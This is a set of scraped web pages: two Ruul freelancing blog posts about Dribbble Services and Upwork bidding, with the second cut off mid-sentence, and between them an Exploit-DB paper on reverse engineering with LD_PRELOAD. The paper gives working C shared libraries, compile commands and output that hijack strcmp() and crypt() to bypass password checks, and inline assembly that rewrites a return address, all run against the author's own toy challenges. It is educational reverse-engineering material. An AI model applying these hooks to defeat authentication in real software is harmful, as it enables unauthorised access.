comprehensive information about the project they will receive. Adding a Shot is simple; as shown in the image above (referring to an image in the original context), you can add visuals related to your service by clicking the "Add Dribbble Shots" button. 6. Set a fixed price or use milestones Finally, add the price for your service . But here, I want to tell you about a useful feature you should know. Using the Milestones feature, you can divide the project into phases and receive your payment as each milestone is completed. What you need to do is click the “Add Milestones” button, then divide the project into phases and price each phase (Milestone). An example view: This way, your cash flow increases, each part of the project becomes more manageable, and your motivation also rises. For instance, if it's a long-term project but you need cash, you can receive payments step-by-step with Milestones before the project is even finished. If you tried Upwork, it works a bit similarly. 7. Optionally, activate quick hire If your service is a clear and standard package, clients can instantly hire you and make the payment using the "Quick Hire" button. You can activate this button to put an end to lengthy correspondence and negotiations. Just activate the “Quick Hire” button next to “Project Cost.” 8. Finally, publish After completing everything, you can publish the service by clicking the “Create Service” button. Just before publishing, you can see the platform's commission and other commissions that will be deducted according to the payment method. This way, you'll know the net earnings that will go into your wallet after the service sale. Additionally, if you click on the “Client Fees” section, you will also see the fees that will be deducted from your client. Frankly, this is quite good for both the freelancer and the client to see the prices transparently. What does that mean for you? Let's take a look at what benefits this new arrangement offers you as a freelancer: 1. More visibility, more clients Now, not only those who visit your profile but also potential clients searching directly for "logo design" on Dribbble will be able to see your services. This is incredibly helpful for getting discovered , especially if you're new or work in a niche area. 2. Finding work is now easier Thanks to "Quick Hire," that long "I submitted a proposal, now I'm waiting for a response" process between you and clients is shortened. If they like it, they can start the job instantly. I think it will work effectively, especially for keeping client communication to a minimum. You're converting your skills into clearly priced packages with a defined scope. This can provide you with a steady income stream, especially if you have frequently requested, repeatable jobs (for example, a "monthly social media design package"). 3. Misunderstandings and disputes are reduced You clearly define from the outset what work you will do, how long it will take, and for how much. Misunderstandings and feedback like "but I wanted this too" are reduced. Especially if you've made a sale via "Quick Hire," your justification increases because the client has accepted everything upfront. What you need to know about the new feature Just as every rose has its thorn, there are a few points here you need to be careful about: As services become more visible, naturally, more designers will want a piece of this pie. It's important to set yourself apart and offer unique propositions. Dribbble wants communication and payments for jobs initiated on the platform to also be conducted through the platform. While this is good for security, the commissions (if you're not Pro, 3.5% is taken from the designer, and a tiered fee is taken from the client) can be annoying. If you're making instant sales with "Quick Hire," you must very clearly write what is included and excluded in the package. This is to avoid "but I was expecting this too" situations later on. Some long-time users are concerned that the platform is becoming too commercialized and moving away from its old, intimate community atmosphere. You can alleviate these concerns by delivering high-quality work . 6 things to consider when listing services on Dribbble Allow me to share a few tips you should pay attention to when listing Services: Emphasize your value: What problem are you solving for the client? What benefit are you providing them? Don't just explain "what you do," but "what they will gain." If possible, speak in numbers (e.g., "I increased engagement by X% with my designs"). ‍ Know who you're selling to: Who is your target audience? Startups? E-commerce sites? Speak their language. ‍ Let your visuals speak: Use your best, most relevant, highest-resolution "Shots." Remember, Dribbble is a visual platform. ‍ Be clear about your scope: Clearly write what is included and what is not. ‍ Use keywords: How do clients search for you? Use keywords like "mobile app design," and "UX design" in your titles and descriptions. ‍ Build trust: If you have client testimonials or success stories, add them. Dribbble allows you to import reviews from external sources. Dribbble vs. others: Where's the difference? We actually recognize Dribbble's new "Service" feature from Upwork's "Project Catalog" and Fiverr's "Gig" structure. From this perspective, I want to point out that Dribbble isn't offering something entirely new. But, of course, it's still necessary to compare Dribbble with others and weigh which one is better. Dribbble vs. other platforms: Ruul Spaces takes a fixed 5%, with no surprise expenses. Also, your client can not only purchase a service but also subscribe to your service package. Moreover, it was built by freelancers for all freelancers , not just designers. ‍ Upwork's Project Catalog is similar to Dribbble Services, but Upwork generally takes a 10% commission. This rate was higher recently, but it's still a very high rate compared to Dribbble. ‍ Fiverr's Gigs are more for quick and affordable jobs, and its commission is high, around 20%. And because it has a more competitive environment compared to Dribbble, it's frankly not very logical. In short, Dribbble is a "premium yet accessible" graphic design site that brings together only talented designers with clients who are looking for quality design and have a budget. This means less of a "price-cutting race" for you and more "value-focused competition." Final words Dribbble's "Services" is a useful feature for freelancers. But remember, the greatest value is you, your brand, your expertise. Adapt, keep learning: The world is changing, and platforms are evolving. Be open to innovations. ‍ Your personal brand is everything: Dribbble is a tool; the goal is you. Specializing in a niche area will set you apart from the crowd. ‍ Don't put all your eggs in one basket: Dribbble is great, but don't tie all your hopes to a single platform. Have your own website, social media, and network as well. While Dribbble provides you with power and convenience on one hand, it can make you more dependent on the platform on the other. Be strategic, use Dribbble as a "partner," but never completely relinquish control of your business and client relationships. What freelancers truly need Freelancing is always changing. New tools, new platforms, new promises. But what you really need is something that understands your whole business, not just one part of it. That’s where Ruul comes in. It’s not just a marketplace. It’s a full toolkit made for all freelancers: writers, designers, developers, consultants, you name it. The Ruul difference: True freedom for every freelancer with one transparent, low 5% transaction fee. No surprises, just more of your earnings in your pocket. Why jump between apps or settle for tools that don’t scale with you? Ruul grows with your goals, no matter where in the world you are. Time to take control. Try Ruul and level up your freelance life. ABOUT THE AUTHOR Canan Başer Developing and implementing creative growth strategies. At Ruul, I focus on strengthening our brand and delivering real value to our global community through impactful content and marketing projects. More How to Get Paid as a Freelance Designer: Dribbble vs Ruul Dribbble vs Ruul: Which is better for designer payments? Compare commission fees, speed, and payment options to keep more of your money. Read more Dribbble vs Gumroad: Where Should Freelancers List Their Work? Choosing between Dribbble Services & Gumroad? Get the definitive guide on earnings, fees, audience & marketing for freelancers. Read more Why should freelancers issue late fees? Late payments can be a headache for freelancers. This guide covers everything you need to know about using late fees to protect your business and income. Read more MORE THAN 120,000 Independents Over 120,000 independents trust Ruul to sell their services, digital products, and securely manage their payments. FROM 190 Countries Truly global coverage: trusted across 190 countries with seamless payouts available in 140 currencies. PROCESSED $200m+ of Transactions Over $200M successfully processed, backed by an 8-year legacy of secure, reliable transactions trusted by independents worldwide. FREQUENTLY ASKED QUESTIONS Everything you need to know. Get clear, straightforward answers to the most common questions about using Ruul. hey@ruul.io What is Ruul? Ruul is a merchant-of-record platform helping freelancers and creators globally sell services, digital products, subscriptions, and easily get paid. Who is Ruul for? Ruul is designed for freelancers, creators, and independent professionals who want a simple way to sell online and get paid globally. How does Ruul work? Open an account, complete a quick verification (KYC), and link your payout account. Then, start selling through your store or send payment requests to customers instantly. How does pricing work? Signing up is free. There are no subscription or hidden fees. Ruul charges a small commission only when you sell or get paid through the platform. What is a Merchant of Record? A merchant of record is the legal seller responsible for processing payments, handling taxes, and managing compliance for each transaction. What can I sell on Ruul? You can sell services, digital products, license keys, online courses, subscriptions, and digital memberships. How do I get paid on Ruul? Add your preferred bank account, digital wallet, or receive payouts in stablecoins as crypto. Funds arrive within 24 hours after a payout is triggered. OPEN AN ACCOUNT START MAKING MONEY TODAY ruul.space/ Thank you! Your submission has been received! Oops! Something went wrong while submitting the form. Trustpilot Product Payment Requests Sell Services Sell Products Subscriptions Ruul Space Pricing For Businesses Resources Blog About Contact Support Referral Program Affiliate Program Partner Program Tools Invoice Generator NDA Generator Service Agreement Generator Freelancer Hourly Rate Calculator All Rights Reserved © 2025 Terms Of Use Privacy Policy	2026-01-13T08:47:55
https://www.exploit-db.com/papers/13233/	Reverse Engineering with LD_PRELOAD   Exploit Database Exploits GHDB Papers Shellcodes Search EDB SearchSploit Manual Submissions Online Training OffSec Resources --> Stats About Us --> About Exploit-DB Exploit-DB History FAQ Search Reverse Engineering with LD_PRELOAD EDB-ID: 13233 CVE: N/A EDB Verified: Author: izik Type: papers Paper:   /   Platform: Multiple Published: 2006-03-10 Vulnerable App: --------------------------------------------------- Reverse Engineering with LD_PRELOAD Izik <izik@tty64.org> --------------------------------------------------- This paper is about the LD_PRELOAD feature, and how it can be useful for reverse engineering dynamically linked executables. This technique allows you to hijack functions/inject code and manipulate the application flow. Compiling Methods ----------------- Generally there are two ways of producing an executable. The first method is the static compilation. During the compilation process the executable that will be produced, will be independent and will include all it needs to function properly. The advantage of this method is mainly portability as the user is not required to install anything in order to use the application. The disadvantage is a relatively oversized executable, also bugs that originate from an outside component will not be fixed, since the executable is not linked. The other method is the dynamically produced executable. It is dependent on shared libraries to function, and corresponding to changes in the shared libraries. For better or worse, this can be an advantage and a disadvantage. Dynamically linked executables by their nature are more lightweight than the static produced executables. The gcc compiler will by default produce a dynamically linked executable, unless you specify the '-static' parameter to gcc. You can browse through the dynamically linked executable dependencies list, using the ldd utility. Following this: root@magicbox:~# ldd /bin/ls linux-gate.so.1 => (0xffffe000) librt.so.1 => /lib/tls/librt.so.1 (0xb7fd7000) libc.so.6 => /lib/tls/libc.so.6 (0xb7eba000) libpthread.so.0 => /lib/tls/libpthread.so.0 (0xb7ea8000) /lib/ld-linux.so.2 (0xb7feb000) root@magicbox:~# Each dependency presenting the library it depends on, while the adress we see, is the one it would be mapped to during runtime. This article revolves around dynamically linked executables as they can be manipulated by the LD_PRELOAD. Runtime Linker -------------- Runtime linker's purpose is to bind the dynamically linked executables to its dependencies by all means. Taking care of resolving the symbols and invoking the initialization functions of shared libraries as well as the finalization functions, if any. It also provides a set of functions to allow an application to load and unload libraries at runtime. This is often refereed to as Application Plug-in feature. LD_PRELOAD is an environment variable that affects the runtime linker. It allows you to put a dynamic object, that will create some sort of a buffer layer, between the application references and the dependencies. It also grants you the possibility of linking with the application and relocating symbols/references. To simplify the situation. This is a man-in-the middle attack between the program and the needed libraries ;) Limitations ----------- The LD_PRELOAD option does not effect applications that have been chmod'ed with +s (setgid/setuid) flag. Unless the user that runs the program already has a root privileges. Also on some platforms, to be able to use the LD_PRELOAD option the user should already have root privileges. All the examples brought up in this paper assume that you will use your own machine as a part of your reverse engineering framework. But it would work regardless, if you have root privileges elsewhere. Hack in a box ------------- The simplest thing that LD_PRELOAD allows is to hijack a function. In order to do it, we will create a shared library that will include the implementation of the function that we wish to hijack. But first let's take a look at our challenge: -- snip snip -- /* * strcmp-target.c, A simple challenge that compares two strings / #include <stdio.h> #include <string.h> int main(int argc, char argv) { char passwd[] = "foobar"; if (argc < 2) { printf("usage: %s <given-password>\n", argv[0]); return 0; } if (!strcmp(passwd, argv[1])) { printf("Green light!\n"); return 1; } printf("Red light!\n"); return 0; } -- snip snip -- In this example we got a simple password-matching challenge. It uses the strcmp() function for comparing the two strings. Lets attack it by hijacking the strcmp() function to see who's running against who and to ensure it always returns equal strings! -- snip snip -- #include <stdio.h> #include <string.h> / * strcmp-hijack.c, Hijack strcmp() function / / * strcmp, Fixed strcmp function -- Always equal! / int strcmp(const char s1, const char s2) { printf("S1 eq %s\n", s1); printf("S2 eq %s\n", s2); // ALWAYS RETURN EQUAL STRINGS! return 0; } -- snip snip -- Now let's compile our strcmp-hijack.c snippet as a shared library, by doing this: root@magicbox:/tmp# gcc -fPIC -c strcmp-hijack.c -o strcmp-hijack.o root@magicbox:/tmp# gcc -shared -o strcmp-hijack.so strcmp-hijack.o Before attacking, let's see if our challenge does what we expect it to do, by doing this: root@magicbox:/tmp# ./strcmp-target redbull Red light! root@magicbox:/tmp# Now let's attack it using LD_PRELOAD, by doing this: root@magicbox:/tmp# LD_PRELOAD="./strcmp-hijack.so" ./strcmp-target redbull S1 eq foobar S2 eq redbull Green light! root@magicbox:/tmp# Our evil shared library has done its job. We hijacked the strcmp() function and made it return a fixed value. Also we put a debug print that shows what the two arguments are, that have been sent to the function. Now we know what the real password is as well. Notice I am using bash shell. And LD_PRELOAD is an environment variable, which means it is up to your shell to set this variable. If you have troubles to set it, you should refer to your shell man page, in order to find out how setting environment variable can be done. Gatekeeper ---------- Hijacking functions is fun. But becoming a wrapper to a function is more powerful. As a wrapper function we will accept the arguments that have been sent to the original function, pass 'em along to the original function and examine the result. Then we could decide if we want to return the original value, or fix the return value. Calling the original function would be done by using a pointer to the original function address. We will then use the runtime linker api, thus the dl() function family. This is our new challenge, which is a little bit more complex: -- snip snip -- /* * crypt-mix.c, Don't let crypt() get cought up in your mix! / #include <stdio.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <string.h> int main(int argc, char argv) { char buf[256], alpha[34], beta[34]; int j, plen, fd; if (argc < 2) { printf("usage: %s <keyfile>\n", argv[0]); return 1; } if (strlen(argv[1]) > 256) { fprintf(stderr, "keyfile length is > 256, go fish!\n"); return 0; } fd = open(argv[1], O_RDONLY); if (fd < 0) { perror(argv[1]); return 0; } memset(buf, 0x0, sizeof(buf)); plen = read(fd, buf, strlen(argv[1])); if (plen != strlen(argv[1])) { if (plen < 0) { perror(argv[1]); } printf("Sorry!\n"); return 0; } strncpy(alpha, (char )crypt(argv[1], "$1$"), sizeof(alpha)); strncpy(beta, (char ) crypt(buf, "$1$"), sizeof(beta)); for (j = 0; j < strlen(alpha); j++) { if (alpha[j] != beta[j]) { printf("Sorry!\n"); return 0; } } printf("All your base are belong to us!\n"); return 1; } -- snip snip -- This challenge principle is quite simple. It performs a MD5 hash on the given filename then buffers up the same amount of bytes as the filename length itself, and performs the same MD5 function on the payload. Then it compares the two, without explicitly using the strcmp() function. This forces us to find a weak spot. This challenge's weak spot is the crypt() function which can be hijacked. The plan is to buffer up the 1st hash returned by the 1st crypt() call, then fix up the 2nd crypt() return value so it will match the 1st hash, and pass the comparing part smoothly. This is our new evil shared library: -- snip snip -- #define _GNU_SOURCE #include <stdio.h> #include <dlfcn.h> / * crypt-mixup.c, Buffer up crypt() result to return later on. / // Pointer to the original crypt() call static char (_crypt)(const char key, const char salt) = NULL; // Pointer to crypt() previous result static char crypt_res = NULL; /* * crypt, Crooked crypt function / char crypt(const char key, const char salt) { // Initialize of _crypt(), if needed. if (_crypt == NULL) { _crypt = (char ()(const char key, const char salt)) dlsym(RTLD_NEXT, "crypt"); crypt_res = NULL; } // No previous result, continue as normal crypt() if (crypt_res == NULL) { crypt_res = _crypt(key, salt); return crypt_res; } // We already got result buffered up! _crypt = NULL; return crypt_res; } -- snip snip -- We will start by simply testing the challenge, doing this: root@magicbox:/tmp# gcc -o crypt-mix crypt-mix.c -lcrypt root@magicbox:/tmp# echo "foobar" > mykey root@magicbox:/tmp# ./crypt-mix mykey Sorry! Now let's try it again with our evil shared library, by doing this: root@magicbox:/tmp# gcc -fPIC -c -o crypt-mixup.o crypt-mixup.c root@magicbox:/tmp# gcc -shared -o crypt-mixup.so crypt-mixup.o -ldl root@magicbox:/tmp# LD_PRELOAD="./crypt-mixup.so" ./crypt-mix mykey All your base are belong to us! Again using LD_PRELOAD, we just bypassed the mechanism and went straight on. Cerberus -------- After we did a few high level tricks. It is time to get our hands a little dirty. And this means involving Assembly in the mix. The next challenge might look a little bit odd, check it out: -- snip snip -- /* * cerberus.c, Impossible statement / #include <stdio.h> int main(int argc, char argv) { int a = 13, b = 17; if (a != b) { printf("Sorry!\n"); return 0; } printf("On a long enough timeline, the survival rate for everyone drops to zero\n"); exit(1); } -- snip snip -- As you can see in this challenge our input doesn't count. The statement will always be incorrect. Regardless of any parameters that will be passed to main(). But there is a way out! To understand this trick, let's first disassemble the main function, following this: (gdb) disassemble main Dump of assembler code for function main: 0x080483c4 <main+0>: push %ebp 0x080483c5 <main+1>: mov %esp,%ebp 0x080483c7 <main+3>: sub $0x18,%esp 0x080483ca <main+6>: and $0xfffffff0,%esp 0x080483cd <main+9>: mov $0x0,%eax 0x080483d2 <main+14>: sub %eax,%esp 0x080483d4 <main+16>: movl $0xd,0xfffffffc(%ebp) 0x080483db <main+23>: movl $0x11,0xfffffff8(%ebp) 0x080483e2 <main+30>: mov 0xfffffffc(%ebp),%eax 0x080483e5 <main+33>: cmp 0xfffffff8(%ebp),%eax 0x080483e8 <main+36>: je 0x8048403 <main+63> 0x080483ea <main+38>: sub $0xc,%esp 0x080483ed <main+41>: push $0x8048560 0x080483f2 <main+46>: call 0x80482d4 <_init+56> 0x080483f7 <main+51>: add $0x10,%esp 0x080483fa <main+54>: movl $0x0,0xfffffff4(%ebp) 0x08048401 <main+61>: jmp 0x804841d <main+89> 0x08048403 <main+63>: sub $0xc,%esp 0x08048406 <main+66>: push $0x8048580 0x0804840b <main+71>: call 0x80482d4 <_init+56> 0x08048410 <main+76>: add $0x10,%esp 0x08048413 <main+79>: sub $0xc,%esp 0x08048416 <main+82>: push $0x0 0x08048418 <main+84>: call 0x80482e4 <_init+72> 0x0804841d <main+89>: mov 0xfffffff4(%ebp),%eax 0x08048420 <main+92>: leave 0x08048421 <main+93>: ret 0x08048422 <main+94>: nop 0x08048423 <main+95>: nop 0x08048424 <main+96>: nop 0x08048425 <main+97>: nop 0x08048426 <main+98>: nop 0x08048427 <main+99>: nop 0x08048428 <main+100>: nop 0x08048429 <main+101>: nop 0x0804842a <main+102>: nop 0x0804842b <main+103>: nop 0x0804842c <main+104>: nop 0x0804842d <main+105>: nop 0x0804842e <main+106>: nop 0x0804842f <main+107>: nop End of assembler dump. (gdb) The IF statement takes place in <main+36>, the 'je' is not evaluated. Therefore we do not jump to <main+63> but rather continue to <main+38>. There it pushes the string into the stack and calls printf() -- Hold on! Are you thinking what I'm thinking? RET HIJACK* ;-) -- snip snip -- #define _GNU_SOURCE #include <stdio.h> #include <dlfcn.h> #include <stdarg.h> /* * megatron.c, Making the impossible possible! / // Pointer to the original printf() call static int (_printf)(const char format, ...) = NULL; / * printf, One nasty function! / int printf(const char format, ...) { if (_printf == NULL) { _printf = (int ()(const char format, ...)) dlsym(RTLD_NEXT, "printf"); // Hijack the RET address and modify it to <main+66> __asm__ __volatile__ ( "movl 0x4(%ebp), %eax \n" "addl $15, %eax \n" "movl %eax, 0x4(%ebp)" ); return 1; } // Rewind ESP and JMP into _PRINTF() __asm__ __volatile__ ( "addl $12, %%esp \n" "jmp %0 \n" : / no output registers / : "g" (_printf) : "%esp" ); / NEVER REACH */ return -1; } -- snip snip -- As always before attacking, we test the challenge, by doing this: root@magicbox:/tmp# ./cerberus Sorry! It is a pretty straight forward challenge. Now let's attack this challenge using our evil shared library, doing this: root@magicbox:/tmp# gcc -fPIC -o megatron.o megatron.c -c root@magicbox:/tmp# gcc -shared -o megatron.so megatron.o -ldl root@magicbox:/tmp# LD_PRELOAD="./megatron.so" ./cerberus On a long enough timeline, the survival rate for everyone drops to zero Our attack succeeds. Manipulating the printf() function return address has made the impossible possible. I will not get into details about this attack. As it alone deserved a paper about it. I would say that I've cheated a little bit, as this code has created a stack corruption, and I have used the exit() function to do the some dirty work for me. Notice that the printf() family functions are unusual in the way they meant to accept unlimited number of parameters. The code above is meant to be a proof of concept to how it is possible to manipulate the program flow dynamically. To conclude this paper I would say that LD_PRELOAD is a powerful feature, and can be used on many purposes and Reverse Engineering is only one. Contact ------- Izik <izik@tty64.org> [or] http://www.tty64.org # milw0rm.com [2006-03-10] Tags: Advisory/Source: Link Databases Links Sites Solutions Exploits Search Exploit-DB OffSec Courses and Certifications Google Hacking Submit Entry Kali Linux Learn Subscriptions Papers SearchSploit Manual VulnHub OffSec Cyber Range Shellcodes Exploit Statistics Proving Grounds Penetration Testing Services Databases Exploits Google Hacking Papers Shellcodes Links Search Exploit-DB Submit Entry SearchSploit Manual Exploit Statistics Sites OffSec Kali Linux VulnHub Solutions Courses and Certifications Learn Subscriptions OffSec Cyber Range Proving Grounds Penetration Testing Services Exploit Database by OffSec Terms Privacy --> About Us FAQ Cookies © OffSec Services Limited 2026. All rights reserved. About The Exploit Database × The Exploit Database is maintained by OffSec , an information security training company that provides various Information Security Certifications as well as high end penetration testing services. The Exploit Database is a non-profit project that is provided as a public service by OffSec. The Exploit Database is a CVE compliant archive of public exploits and corresponding vulnerable software, developed for use by penetration testers and vulnerability researchers. Our aim is to serve the most comprehensive collection of exploits gathered through direct submissions, mailing lists, as well as other public sources, and present them in a freely-available and easy-to-navigate database. The Exploit Database is a repository for exploits and proof-of-concepts rather than advisories, making it a valuable resource for those who need actionable data right away. The Google Hacking Database (GHDB) is a categorized index of Internet search engine queries designed to uncover interesting, and usually sensitive, information made publicly available on the Internet. In most cases, this information was never meant to be made public but due to any number of factors this information was linked in a web document that was crawled by a search engine that subsequently followed that link and indexed the sensitive information. The process known as “Google Hacking” was popularized in 2000 by Johnny Long, a professional hacker, who began cataloging these queries in a database known as the Google Hacking Database. His initial efforts were amplified by countless hours of community member effort, documented in the book Google Hacking For Penetration Testers and popularised by a barrage of media attention and Johnny’s talks on the subject such as this early talk recorded at DEFCON 13 . Johnny coined the term “Googledork” to refer to “a foolish or inept person as revealed by Google“. This was meant to draw attention to the fact that this was not a “Google problem” but rather the result of an often unintentional misconfiguration on the part of a user or a program installed by the user. Over time, the term “dork” became shorthand for a search query that located sensitive information and “dorks” were included with may web application vulnerability releases to show examples of vulnerable web sites. After nearly a decade of hard work by the community, Johnny turned the GHDB over to OffSec in November 2010, and it is now maintained as an extension of the Exploit Database . Today, the GHDB includes searches for other online search engines such as Bing , and other online repositories like GitHub , producing different, yet equally valuable results. Close OffSec Resources × Databases Links Sites Solutions Exploits Search Exploit-DB OffSec Courses and Certifications Google Hacking Submit Entry Kali Linux Learn Subscriptions Papers SearchSploit Manual VulnHub OffSec Cyber Range Proving Grounds Shellcodes Exploit Statistics Proving Grounds Penetration Testing Services Close Search The Exploit Database × Title CVE Type dos local remote shellcode papers webapps hardware Platform AIX ASP BSD BSD_PPC BSD_x86 BSDi_x86 CGI FreeBSD FreeBSD_x86 FreeBSD_x86-64 Generator Hardware HP-UX IRIX JSP Linux Linux_MIPS Linux_PPC Linux_SPARC Linux_x86 Linux_x86-64 MINIX Multiple NetBSD_x86 Novell OpenBSD OpenBSD_x86 OSX_PPC OSX PHP Plan9 QNX SCO SCO_x86 Solaris Solaris_SPARC Solaris_x86 Tru64 ULTRIX Unix UnixWare Windows_x86 Windows_x86-64 Windows ARM CFM Netware SuperH_SH4 Java BeOS Immunix Palm_OS AtheOS iOS Android XML Perl Python System_z JSON ASHX Ruby ASPX macOS Linux_CRISv32 eZine Magazine NodeJS Alpha Solaris_MIPS Lua watchOS VxWorks Python2 Python3 TypeScript Go Author Content Port 14 21 22 23 25 42 49 53 66 69 70 79 80 81 102 105 110 111 113 119 123 135 139 143 161 162 164 383 389 402 406 411 443 444 445 446 502 504 513 514 515 532 548 554 555 617 623 631 655 689 783 787 808 873 888 901 998 1000 1040 1089 1099 1100 1114 1120 1194 1235 1471 1521 1533 1581 1589 1604 1617 1723 1743 1761 1812 1858 1861 1900 1947 2000 2022 2049 2100 2103 2121 2125 2181 2242 2315 2375 2380 2381 2401 2480 2525 2640 2810 2812 2947 2954 2990 3000 3030 3050 3052 3128 3129 3181 3200 3217 3306 3333 3378 3389 3460 3465 3500 3535 3632 3690 3790 3814 3817 4000 4002 4070 4081 4105 4111 4322 4343 4434 4444 4501 4555 4592 4661 4750 4848 5000 5060 5061 5080 5081 5093 5151 5180 5247 5250 5272 5308 5432 5466 5554 5555 5600 5655 5666 5800 5803 5814 5858 5900 5984 6066 6070 6080 6082 6101 6112 6129 6379 6502 6503 6660 6667 7001 7002 7070 7071 7080 7100 7144 7210 7272 7290 7426 7443 7510 7547 7649 7770 7777 7778 7787 7879 7902 8000 8001 8002 8004 8008 8020 8022 8023 8028 8030 8080 8081 8082 8088 8090 8181 8300 8400 8443 8445 8473 8500 8585 8619 8800 8812 8839 8880 8888 9000 9001 9002 9080 9090 9091 9100 9124 9200 9251 9256 9443 9447 9784 9788 9855 9876 9900 9987 9993 9999 10000 10001 10080 10202 10203 10443 10616 11000 11211 11460 12203 12221 12345 12397 12401 13327 13701 13722 13838 16992 18821 18881 19000 19810 19813 20000 20002 20010 20031 20111 20171 22003 23423 25672 26000 27015 27700 28015 30000 30303 31337 32400 32674 32764 34205 37215 37777 37848 38292 40007 41523 44334 46824 48080 49152 50000 50496 52311 52789 52869 52986 53413 54345 54890 55554 55555 56380 57772 58080 62514 Tag WordPress Core Metasploit Framework (MSF) WordPress Plugin SQL Injection (SQLi) Cross-Site Scripting (XSS) File Inclusion (LFI/RFI) Cross-Site Request Forgery (CSRF) Denial of Service (DoS) Code Injection Command Injection Authentication Bypass / Credentials Bypass (AB/CB) Client Side Use After Free (UAF) Out Of Bounds Remote Local XML External Entity (XXE) Integer Overflow Server-Side Request Forgery (SSRF) Race Condition NULL Pointer Dereference Malware Buffer Overflow Heap Overflow Type Confusion Object Injection Bug Report Console Pwn2Own Traversal Deserialization Verified Has App No Metasploit Search	2026-01-13T08:47:55
https://ruul.io/blog/how-to-bid-for-jobs-on-upwork	Winning Strategies for Upwork Bids: How to Stand Out and Succeed Product Payment Requests Get paid anywhere. Sell Services Make your services buyable Sell Products Create once sell forever Subscriptions Get paid on repeat Ruul Space Your personel storefront. One link for everything you offer. Learn more Pricing Resources Partner Programs Referral Program Get 1% for life. Seriously. Affiliate Program Bring users, get paid Partners Let’s grow together. More Blog About us Support Brand Kit For Customers Log in Sign up For Businesses Login Sign up grow How to Bid for Jobs on Upwork Struggling to win projects on Upwork? Read on for expert tips to improve your bidding strategy and land more clients. Esen Bulut 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points Upwork is a leading online platform that connects freelancers with clients seeking a variety of services, including writing, graphic design, editing, and consulting. It functions as a marketplace where businesses and freelancers can collaborate on projects remotely. Upwork simplifies the process for both parties, enabling freelancers to work from any location while expanding their business and portfolio. It offers an excellent venue for both freelancers and businesses to engage in both short-term and long-term projects. Bidding for jobs on Upwork effectively requires a strategic approach to stand out among the competition and secure contracts. Here’s a step-by-step guide to help you craft compelling bids and increase your chances of winning projects: 1. Understand the Job Requirements Before placing a bid, thoroughly read the job description to understand the client’s needs, project scope, and any specific requirements. Pay attention to the skills required, deadlines, and budget constraints. This will help you tailor your proposal to meet the client's expectations. 2. Write a Personalized Proposal Your proposal should be tailored specifically to the job you’re applying for. Avoid using generic templates as any other freelancer. Try mentioning yourself, your experience and similar experiences that you. Write a cover letter that includes your skills, expert areas, your background and why you are willing to take the project. 3. Set a Competitive Rate When setting your bid amount, consider the project’s budget, your level of expertise, and the market rate for similar jobs. Among the primary mistakes freelancers make is underpricing their services. This usually results from lack of confidence, concern of losing business, or just not understanding how to figure a reasonable charge. Serious long-term effects of underpricing include financial pressure, exhaustion, and maybe harm to your professional image. Here, we can suggest you to use Ruul’s freelancer hourly rate calculator . Ruul's Freelance Hourly Rate Calculator helps you set a rate that covers your expenses, reflects your skills, and ensures a healthy work-life balance, preventing underpricing. By ensuring your rates are fair and competitive, this tool empowers you to price your services with confidence. Moreover, starting with the correct rate helps you develop confidence in your pricing. More effective client negotiations, improved client relationships, and finally a more satisfying freelancing career follow from this confidence. On Upwork, you can see how many freelancers have applied for a job, which can help you decide whether to apply. Jobs with fewer applicants might offer a better chance of standing out, but sometimes high-competition jobs can be worth targeting if you have a strong proposal. Timing your application can also make a difference—applying right after a job is posted can give you an edge, but waiting a couple of days might allow you to tailor your proposal better and avoid the initial rush. Additionally, submitting a proposal with more Connects can sometimes boost your visibility, potentially placing you higher in the list of applicants. Balancing these factors effectively can improve your chances of success on the platform. 4. Highlight Your Unique Selling Points This could be your specific skill set, years of experience, unique approach to the project, or any special certifications or qualifications. Make sure the client understands why you are the best choice for their project. You can mention your previous similar experience to be more specific. 5. Optimize Your Upwork Profile Make sure your Upwork profile is complete. Use a high-quality professional photo, write an effective title and highlight your skills and experience, and list relevant skills and certifications to enhance your credibility. Add testimonials if possible. This will help your client to build trust on your skills. 6. Be Responsive and Professional After submitting your bid, be prepared to respond promptly to any messages or questions from the client. Instant messaging and answering is very important for the process. Maintain a professional tone in all communications. Before you start the project make sure the contract that client sent you is accurate and includes all necessary information. On Upwork, applying for a job requires using Connects, which are like the platform’s currency for job applications. Each Connect usually costs between $0.15 and $0.30, depending on how many you buy and any current deals. Managing your Connects carefully is crucial to make the most of your job applications and stay within your budget. Choose Ruul For Your Freelancing Needs In addition to the Hourly Rate Calculator , Ruul provides a suite of services to simplify the freelancing experience. These include tools for payment processing, invoicing, and contract management, along with resources for professional development and education. Ruul equips independent contractors to work more efficiently and confidently. Additionally, Ruul provides a service agreement generator as a free tool to help freelancers. It offers a fast, simple method to create professionally strong, legally sound, appropriate service contracts. The technology is meant to streamline often tough, time-consuming tasks so freelancers may focus on what they are best at—generating outstanding work for their clients. Ruul is a great platform for freelancers to get help at each stage of their business. Most of the freelancers have financial anxiety due to their delayed payments, untrusted clients, lack of legal information. Benefits of remote work include flexible schedules, the freedom to work from anywhere, and a better work-life balance but sometimes it can be challenging. With Ruul, freelancers can get great help for doing secure, flexible and professional business. Ruul helps freelancers to generate invoices, create online receipts , contracts, NDA forms , and necessary documents. Whether working with clients locally or internationally, Ruul’s powerful platform is built to efficiently manage all the payment and billing requirements. This allows freelancers to concentrate on their work and expand their business without the burden of administrative tasks. Also, one of Ruul’s standout features is the ability to send payment links directly to your clients, simplifying the process for them to make payments and receive invoices without requiring an account. This streamlined billing and checkout system not only improves the client experience but also guarantees timely payments. Additionally, Ruul provides the option for cryptocurrency payouts - for those who don't know how to be paid in crypto - enabling you to receive payments in crypto—a modern approach to managing your earnings and potentially investing in your future. ABOUT THE AUTHOR Esen Bulut Esen Bulut is the co-founder of Ruul. After graduating Boston College with finance and economics degrees, she began her career as a Finance Executive. Prior to Ruul, she held managerial positions in finance and marketing. Esen's entrepreneurship success earned her recognition in Fortune's 40 under 40 list in 2022. More How Does Upwork Work and What Is It Used For? Curious about Upwork? Find out how this platform simplifies freelance work and enhances your business opportunities. Read on for details! Read more Best Cities for Freelancers and Self-Employed People Discover the top 10 best cities for digital nomads and freelancers to live and work remotely. Learn about the most critical metrics you should consider when choosing a city to work in. Read more 8 tips for solo talents to stay healthy and happy Prioritizing your mental and physical health is crucial for freelancers. Read on for tips on scheduling work, having a dedicated workspace, and taking care of your body. Read more MORE THAN 120,000 Independents Over 120,000 independents trust Ruul to sell their services, digital products, and securely manage their payments. FROM 190 Countries Truly global coverage: trusted across 190 countries with seamless payouts available in 